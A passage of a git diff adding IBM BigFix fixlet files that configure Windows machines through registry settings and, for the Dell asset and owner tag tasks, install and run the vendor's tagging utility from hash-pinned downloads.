+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 12 May 2015 20:04:00 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://msdn.microsoft.com/en-us/library/hh506443%28v=vs.110%29.aspx
+//  http://support.microsoft.com/kb/900935
+//  http://technet.microsoft.com/en-us/library/hh825020.aspx
+//  http://community.spiceworks.com/how_to/show/30581-install-net-3-5-on-windows-8
+//  http://blogs.technet.com/b/yungchou/archive/2013/12/19/windows-server-2012-r2-installation-options-and-features-on-demand-part-2-of-5.aspx
+//  https://www.vanstechelman.eu/windows-group-policy-encyclopedia/fbb6a5344049e798501f7b5a273784e6/specify-settings-for-optional-component-installation-and-component
+//  http://windowsitpro.com/article/windowsserver2012/set-central-wim-file-145040
+//  http://windowsitpro.com/article/windowsserver2012/add-net-framework-35-vhd-145039
+//  http://www.howtogeek.com/116184/how-to-see-which-group-policies-are-applied-to-your-pc-and-user-account/
+//  http://technet.microsoft.com/en-us/library/dn482065.aspx
+//  http://msdn.microsoft.com/en-us/library/hh506443(v=vs.110).aspx
+//  http://msdn.microsoft.com/en-us/library/windows/desktop/hh848079(v=vs.85).aspx
+//  http://blogs.technet.com/b/joscon/archive/2013/03/29/features-on-demand-part-2.aspx
+
+
+//   netsh winhttp set proxy proxyservername:portnumber
+
+
+// Set reg to allow WU to be contacted directly
+regset   &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Servicing]&quot; &quot;RepairContentServerSource&quot;=dword:00000002
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes
new file mode 100644
index 000000000..26bede1db
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (3864).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Disable serial port ForceFifoEnable - Windows
+  ID       : 3864
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-29T14:56:44
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Disable serial port ForceFifoEnable - Windows</Title>
+    <Description><![CDATA[<P>This task will set the ForceFifoEnable registry setting to 0</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://technet.microsoft.com/en-us/library/cc962417.aspx">http://technet.microsoft.com/en-us/library/cc962417.aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists values whose(name of it = &quot;ForceFifoEnable&quot; AND it as string as integer = 0) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 29 Sep 2014 21:51:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://technet.microsoft.com/en-us/library/cc962417.aspx
+regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial]&quot; &quot;ForceFifoEnable&quot;=dword:0
+
+// the setting may not take effect until the system has been restarted
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes
new file mode 100644
index 000000000..282df2f02
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Disable serial port ForceFifoEnable - Windows (6044).bes	
@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Disable serial port ForceFifoEnable - Windows
+  ID       : 6044
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:17:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Disable serial port ForceFifoEnable - Windows</Title>
+    <Description><![CDATA[<P>This task will set the ForceFifoEnable registry setting to 0</P>
+<P>&nbsp;</P>
+<P><STRONG>References:</STRONG></P>
+<P><A href="http://technet.microsoft.com/en-us/library/cc962417.aspx">http://technet.microsoft.com/en-us/library/cc962417.aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists values whose(name of it = &quot;ForceFifoEnable&quot; AND it as string as integer = 0) of keys &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial&quot; of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-09-29</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 29 Sep 2014 21:51:43 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+//  http://technet.microsoft.com/en-us/library/cc962417.aspx
+regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\Serial]&quot; &quot;ForceFifoEnable&quot;=dword:0
+
+// the setting may not take effect until the system has been restarted
+action requires restart
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes
new file mode 100644
index 000000000..6ce3c4fd1
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable Kerberos Logging - Windows (3782).bes	
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Enable Kerberos Logging - Windows
+  ID       : 3782
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-14T08:12:48
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Enable Kerberos Logging - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>not exists key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters&quot; whose(exists value &quot;LogLevel&quot; whose(it as integer = 1) of it) of native registry</Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-05-14</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 14 May 2014 15:12:11 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Kerberos\Parameters]&quot; &quot;LogLevel&quot;=dword:1</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes
new file mode 100644
index 000000000..f0c183afd
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Enable NTFS Last Access Update - Windows (6041).bes	
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Configuration: Enable NTFS Last Access Update - Windows
+  ID       : 6041
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2015-05-06T12:10:14
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Configuration: Enable NTFS Last Access Update - Windows</Title>
+    <Description><![CDATA[<P>Enable NTFS Last Access Update by setting NtfsDisableLastAccessUpdate to 0.<VALUE> </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists value &quot;NtfsDisableLastAccessUpdate&quot; whose (0 != it as integer) of key &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem&quot; of native registry</Relevance>
+    <Relevance><![CDATA[version of operating system >= "6.0"]]></Relevance>
+    <Category>Registry Edit</Category>
+    <Source>Windows Registry Wizard</Source>
+    <SourceID>jgs194</SourceID>
+    <SourceReleaseDate>2011-08-02</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Windows Registry Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 06 May 2015 19:09:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp;</PreLink>
+        <Link>here&amp;nbsp;</Link>
+        <PostLink>to edit the registry to enable NTFS Last Access Update.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">regset64 &quot;[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem]&quot; &quot;NtfsDisableLastAccessUpdate&quot;=dword:00000000</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes
new file mode 100644
index 000000000..cb4662837
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Fix console user column width settings - Windows -TODO_Testing (3865).bes	
@@ -0,0 +1,54 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Fix console user column width settings - Windows -TODO:Testing
+  ID       : 3865
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-09-30T11:40:16
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Fix console user column width settings - Windows -TODO:Testing</Title>
+    <Description>This task sets the per user computer comlumns that have a width of 0 (hidden) to 100.</Description>
+    <Relevance>exists regapp &quot;BESConsole.exe&quot;</Relevance>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>FALSE  /* THIS IS UNTESTED! */</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2014-09-30</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 30 Sep 2014 17:28:55 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+if{ exists ( keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry ) }
+
+delete __createfile
+delete editRegistry.bat
+
+//    CREATEFILE - make a batch file
+// https://support.bigfix.com/inspectors/Action%20Objects_Win.html#action
+createfile until END_OF_FILE
+{ concatenation "%0d%0a" of ("REG ADD %22" & it & "%22 /v width /t REG_DWORD /d 100 /f") of (it as string) of (keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry) }
+END_OF_FILE
+
+move __createfile editRegistry.bat
+waithidden cmd.exe /C editRegistry.bat > "{(pathname of folder "__BESData\__Global\Logs" of parent folder of client)}\config_editRegistry.bat.log"
+
+endif
+
+continue if{ not exists ( keys whose(exists values "width" whose(it as integer = 0) of it) of keys of keys "Software\BigFix\Enterprise Console\Preferences\bes.win.psu.edu\ComputerListCtrlColumns" of keys of key "HKEY_USERS" of registry ) }
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes
new file mode 100644
index 000000000..e1574aec5
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows (3928).bes	
@@ -0,0 +1,116 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows
+  ID       : 3928
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-11-25T14:48:19
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Set Asset Tag using Dell Platform Tags Utility 4.006 - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* DELL Only */ exists values &quot;vendor&quot; whose(it as string as uppercase contains &quot;DELL&quot;) of structures &quot;bios_information&quot; of smbios</Relevance>
+    <Relevance>not exists files whose(name of it starts with &quot;results_Dell_Platform_Tags_&quot; AND name of it as lowercase ends with &quot;.log&quot; AND exists lines whose(it contains &quot;ERROR: Could not locate the BIOS interface to access the tags&quot;) of it) of folders &quot;__BESData\__Global\Logs&quot; of parent folder of client</Relevance>
+    <Relevance><![CDATA[not exists ( ( (it as trimmed string) whose(it != "" AND it != "<not set>") of following texts of firsts "Asset Tag ...... " of lines whose(it contains "Asset Tag ...... ") of files "results_Dell_Platform_Tags_RPT.log" of folders "__BESData\__Global\Logs" of parent folder of client );( (it as trimmed string) of string values whose(it as trimmed string != "") of selects "ElementName from DCIM_Chassis" of wmi "root\dcim\sysman" ) )]]></Relevance>
+    <Category>Software Sharing</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-11-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 25 Nov 2014 21:47:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action parameter query "Asset_Tag" with description "Enter the Asset Tag to set, maximum of 11 characters" and with default value "abcdef12345"
+
+// -- START:DOWNLOADS -------------------------
+
+//  - This is the commandline 7zip console which is use to unpack installers
+//  - https://www.virustotal.com/en/file/2a3afe19c180f8373fa02ff00254d5394fec0349f5804e0ad2f6067854ff28ac/analysis
+prefetch 7za.zip sha1:9ce9ce89ebc070fea5d679936f21f9dde25faae0 size:384846 http://softlayer-dal.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+// Utility to set Dell Ownership & Asset tags
+//    http://www.dell.com/support/home/us/en/04/Drivers/DriversDetails?driverId=7738M
+prefetch PlatformTags.Download sha1:616890ce8e793a670f696eff33a9358f37d1bf05 size:313056 http://downloads.dell.com/FOLDER01410519M/4/PlatformTags%204.006_ZPE.exe
+
+// -- END:DOWNLOADS ---------------------------
+
+
+// ADD TO UTILITY CACHE: unzip,7zip
+utility __Download\unzip.exe
+utility __Download\7za.zip
+utility __Download\PlatformTags.Download
+
+
+// EXTRACT using unzip: the 7zip command line utility
+waithidden __Download\unzip.exe -o "{pathname of file "7za.zip" of folder "__Download" of client folder of current site}" 7za.exe -d "{pathname of folder "__Download" of client folder of current site}"
+
+// EXTRACT using 7zip: Dell Platform Tags Utility
+waithidden "{ (pathname of file "7za.exe" of folder "__Download" of client folder of current site) }" e -i!*\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe -y -o"{pathname of folder "__Download" of client folder of current site}" "{pathname of file "PlatformTags.Download" of folder "__Download" of client folder of current site}"
+
+
+// SET Asset Tag
+continue if{ exists (parameter "Asset_Tag) whose( length of it <= 11 AND it != "" ) }
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_SAT.log" SAT:{ (parameter "Asset_Tag") }
+
+parameter "ExitCode" = "{ (exit code of action) as string }"
+
+// GET PlatformTag report
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_RPT.log" RPT
+
+// Only continue if Set Asset Tag was successful
+continue if{ (parameter "ExitCode") as integer = 0 }
+
+// restart "DSM SA Data Manager" service (to update WMI/OMCI with new tag)
+// http://superuser.com/questions/301765/restart-a-windows-service-from-the-command-line
+waithidden net stop "DSM SA Data Manager" && net start "DSM SA Data Manager"
+// REQUIRE Restart - seems that WMI does not update until the DSM SA Data Manager service is restarted (or perhaps until it is refreshed)
+// action requires restart
+
+// PlatformTags.exe -- Version 4.006
+// (C) Copyright 1993-2012 Dell Inc.
+//
+// PlatformTags.exe [File:<Name>] [Command]
+//
+//    View/modify Platform Tags
+//
+// Usage:
+//    [File:<Name>]   Specify a path\filename to echo screen text
+//    [Command]       Specify a command to execute
+//
+// Commands:
+//    RPT (or ReadPlatformTags)  Display All Tag information
+//    SAT (or SetAssetTag)       Set the Asset tag
+//    DAT (or DeleteAssetTag)    Delete the Asset Tag
+//    SOT (or SetOwnerTag)       Set the Owner Tag
+//    DOT (or DeleteOwnerTag)    Delete the Owner Tag
+//
+// Note:  SAT and SOT must be followed by ':' and the string to be used in the tag field
+//              If spaces are required in the owner tag, use quotes to surround the data
+//
+// Return Codes:
+//        0xFF = Error Condition - Screen will show error
+//        0 = Success
+
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes
new file mode 100644
index 000000000..823366a41
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows (3927).bes	
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows
+  ID       : 3927
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-11-25T14:44:53
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Set Owner Tag using Dell Platform Tags Utility 4.006 - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance>/* DELL Only */ exists values &quot;vendor&quot; whose(it as string as uppercase contains &quot;DELL&quot;) of structures &quot;bios_information&quot; of smbios</Relevance>
+    <Relevance>/* Only if supported */ not exists files whose(name of it starts with &quot;results_Dell_Platform_Tags_&quot; AND name of it as lowercase ends with &quot;.log&quot; AND exists lines whose(it contains &quot;ERROR: Could not locate the BIOS interface to access the tags&quot;) of it) of folders &quot;__BESData\__Global\Logs&quot; of parent folder of client</Relevance>
+    <Relevance><![CDATA[not exists ( ( (it as trimmed string) of string values whose(it as trimmed string != "") of selects "PropertyOwnershipTag from DCIM_Chassis" of wmi "root\dcim\sysman" ) ; ( (it as trimmed string) whose(it != "<not set>" AND it != "") of following texts of firsts "Owner Tag ...... " of lines whose(it contains "Owner Tag ...... ") of files "results_Dell_Platform_Tags_RPT.log" of folders "__BESData\__Global\Logs" of parent folder of client ) )]]></Relevance>
+    <Category>Software Sharing</Category>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
+    <SourceReleaseDate>2014-11-24</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 25 Nov 2014 21:44:23 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[
+action parameter query "Owner_Tag" with description "Enter the email of the owner to set" and with default value "abc123@company.com"
+
+// -- START:DOWNLOADS -------------------------
+
+//  - This is the commandline 7zip console which is use to unpack installers
+//  - https://www.virustotal.com/en/file/2a3afe19c180f8373fa02ff00254d5394fec0349f5804e0ad2f6067854ff28ac/analysis
+prefetch 7za.zip sha1:9ce9ce89ebc070fea5d679936f21f9dde25faae0 size:384846 http://softlayer-dal.dl.sourceforge.net/project/sevenzip/7-Zip/9.20/7za920.zip
+
+//  - This unzip is a compiled verion of unzip v5.52 fom http://info-zip.org/
+//  - https://www.virustotal.com/en/file/8d9b5190aace52a1db1ac73a65ee9999c329157c8e88f61a772433323d6b7a4a/analysis
+prefetch unzip.exe sha1:84debf12767785cd9b43811022407de7413beb6f size:204800 http://software.bigfix.com/download/redist/unzip-6.0.exe sha256:2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+// Utility to set Dell Ownership & Asset tags
+//    http://www.dell.com/support/home/us/en/04/Drivers/DriversDetails?driverId=7738M
+prefetch PlatformTags.Download sha1:616890ce8e793a670f696eff33a9358f37d1bf05 size:313056 http://downloads.dell.com/FOLDER01410519M/4/PlatformTags%204.006_ZPE.exe
+
+// -- END:DOWNLOADS ---------------------------
+
+
+// ADD TO UTILITY CACHE: unzip,7zip
+utility __Download\unzip.exe
+utility __Download\7za.zip
+
+
+// EXTRACT using unzip: the 7zip command line utility
+waithidden __Download\unzip.exe -o "{pathname of file "7za.zip" of folder "__Download" of client folder of current site}" 7za.exe -d "{pathname of folder "__Download" of client folder of current site}"
+
+// EXTRACT using 7zip: Dell Platform Tags Utility
+waithidden "{ (pathname of file "7za.exe" of folder "__Download" of client folder of current site) }" e -i!*\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe -y -o"{pathname of folder "__Download" of client folder of current site}" "{pathname of file "PlatformTags.Download" of folder "__Download" of client folder of current site}"
+
+
+// SET OwnerTag
+continue if{ exists (parameter "Owner_Tag") whose( length of it > 2 AND it != "abc123@company.com" ) }
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_SOT.log" SOT:{ (parameter "Owner_Tag") }
+
+// GET PlatformTag report
+waithidden __Download\PlatformTags{if (x64 of operating system) then "64" else "32"}.exe File:"{ pathname of folder "__BESData\__Global\Logs" of parent folder of client }\results_Dell_Platform_Tags_RPT.log" RPT
+
+// restart "DSM SA Data Manager" service (to update WMI with new owner tag)
+// http://superuser.com/questions/301765/restart-a-windows-service-from-the-command-line
+waithidden net stop "DSM SA Data Manager" && net start "DSM SA Data Manager"
+// REQUIRE Restart - seems that WMI does not update until the DSM SA Data Manager service is restarted (or perhaps until it is refreshed)
+// action requires restart
+
+// PlatformTags.exe -- Version 4.006
+// (C) Copyright 1993-2012 Dell Inc.
+//
+// PlatformTags.exe [File:<Name>] [Command]
+//
+//    View/modify Platform Tags
+//
+// Usage:
+//    [File:<Name>]   Specify a path\filename to echo screen text
+//    [Command]       Specify a command to execute
+//
+// Commands:
+//    RPT (or ReadPlatformTags)  Display All Tag information
+//    SAT (or SetAssetTag)       Set the Asset tag
+//    DAT (or DeleteAssetTag)    Delete the Asset Tag
+//    SOT (or SetOwnerTag)       Set the Owner Tag
+//    DOT (or DeleteOwnerTag)    Delete the Owner Tag
+//
+// Note:  SAT and SOT must be followed by ':' and the string to be used in the tag field
+//              If spaces are required in the owner tag, use quotes to surround the data
+//
+// Return Codes:
+//        0xFF = Error Condition - Screen will show error
+//        0 = Success
+
+]]></ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes
new file mode 100644
index 000000000..0ebc725eb
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Configuration_ Suppress Balloon Pop-Ups - Windows (3781).bes	
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Configuration: Suppress Balloon Pop-Ups - Windows
+  ID       : 3781
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2014-05-02T10:16:13
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Configuration: Suppress Balloon Pop-Ups - Windows</Title>
+    <Description><![CDATA[<P>&nbsp;Does this work in HKLM?&nbsp; How do I test if balloon pop ups are actually suppressed?</P>
+<P>&nbsp;</P>
+<P>References:</P>
+<P><A href="http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx">http://msdn.microsoft.com/en-us/library/ms940877(v=winembedded.5).aspx</A></P>
+<P>&nbsp;</P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
